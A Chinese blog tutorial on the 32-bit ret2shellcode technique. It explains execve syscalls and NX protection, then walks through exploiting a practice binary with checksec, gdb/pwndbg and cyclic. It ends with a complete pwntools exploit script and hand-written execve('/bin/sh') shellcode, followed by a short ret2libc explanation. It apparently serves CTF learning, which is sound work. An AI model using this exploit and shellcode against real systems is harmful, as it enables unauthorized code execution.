【Pwn】Rop-Ret2Shellcode-32位

目录

linux系统调用:

获取shellcode两种方式:

1.手写

2.pwntools自动生成

NX保护:

例:


ret2text漏洞依赖于程序中存在system(“/bin/sh”)的函数

若没有此函数,可以传入自定义shellcode

//shellcode是黑客编写的用于实行特定功能的汇编代码,例如:execve(“/bin/sh”,null,null);

Ret2Shellcode条件:1.无执行shell的函数

                                  2.没有开启NX保护

Ret2libc条件:1.开启NX

                        2.使用libc函数:leak libc + ROP

linux系统调用:

系统调用号目录:/usr/include/x86_64-linux-gnu/asm/unistd_32.h

 11号execve能帮我们执行任意的shell

 参数为execve所需的参数

当系统执行到int 0x80时,会跳转到execve(因为在eax中)

获取shellcode两种方式:

1.手写

(1)想办法调用execve(“/bin/sh”,null,null);

(2)传入字符串/bin///sh

(3)系统调用execve

eax = 11

ebx = bin_sh_addr(参数一)

ecx = 0(参数二)

edx = 0(参数三)

2.pwntools自动生成

(1)先指定context.arch = "i386/amd64"

(2)asm(自定义shellcode)或 asm(shellcraft.sh())

(3)自动生成shellcode

NX保护:

又称DEP,数据执行保护:可写的不可执行,可执行的不可写

例:

拿到文件

1.checksec xxx

发现无NX,无canary保护,可以考虑用ret2text或ret2shellcode

2.查看是否有系统函数system(“/bin/sh”);

objdump -d -xxx |grep system        //-d显示汇编

发现什么都没找到,只能用ret2shellcode

3.gdb xxx

(示例用的pwndbg)

disass main        //看一下main函数

看一下:

 又看到了gets函数

 分析可知,参数来源于 esp+0x1c

又看到了strncpy函数

 分析可知,拷贝0x64个字节,参数来自于 esp+0x1c,拷贝到0x804a080

思路:

两个参数都来自于esp+0x1c,可以利用gets收到shellcode放入esp+0x1c,顺便覆盖返回地址为0x804a080,然后利用strncpy函数,将shellcode拷贝到0x804a080,这样返回时就返回到了shellcode。

4.查看一下要拷贝的那个地址所在的段要没有执行权限

/*因为vmmap直接显示了地址,所以以下步骤不需要

查看要拷贝的那个地址所在的段

gdb(peda):readelf 文件名

shell:readelf -S  文件名(注意大小写,一定是大S)

找到0x804a080(找到了 .bss 0x804a040,0x804a080应该属于这个段)

*/

打开gdb,下断点运行

vmmap

找到0x804a080,有x(执行)权限

5.找到偏移量

pwndbg

cyclic 200

复制

r

粘贴

程序崩溃,给出报错地址

cyclic -l 报错地址

得到偏移112

6.exp

from pwn import *

context(arch = "i386",os = "linux",log_level = "debug")        //因为涉及到了shellcode,需要指定环境为32位,影响下面生成的shellcode;下划线内容可不带

p = process("./ret2shellcode")

shellcode = asm(shellcraft.sh())        //生成了shellcode,但不确定长度,要将长度确定为112

payload = shellcode.ljust(112,'A') + p32(0x804a080)   //ljust(112,'A')使shellcode长度确定为112,不够112用A填充

p.sendline(payload)

p.interactive()

试试手写汇编:

shellcode = asm("""

push 0x68

push 0x732f2f2f

push 0x6e69622f

mov ebx,esp

xor ecx,ecx

xor edx,edx

push 11

pop eax

int 0x80

""")

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
pwn ret2libc是一种攻击技术,其原理是通过利用程序中的栈溢出漏洞,来控制程序的执行流程,以达到执行libc中的函数的目的。 在ret2libc攻击中,程序会调用libc库中的函数,例如system函数,来执行特定的操作。但是在程序中没有自带的/bin/sh字符串,所以需要通过其他方式获取执行shell命令的能力。 具体而言,攻击者会利用程序中的栈溢出漏洞,将栈上的返回地址修改为在libc库中的某个函数的地址,例如puts函数。然后通过执行puts函数,将栈上保存的函数地址打印出来。由于libc库中的函数地址相对位置是不变的,攻击者可以根据已知的函数地址和libc的版本来计算system函数的真实地址。然后再利用system函数执行特定的操作,比如执行shell命令。 总结来说,pwn ret2libc攻击的原理是通过栈溢出漏洞修改返回地址为libc库中的一个函数地址,然后根据已知的函数地址和libc的版本计算出system函数的真实地址,最终实现执行shell命令的目的。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [pwn学习——ret2libc2](https://blog.csdn.net/MrTreebook/article/details/121595367)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [pwn小白入门06--ret2libc](https://blog.csdn.net/weixin_45943522/article/details/120469196)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值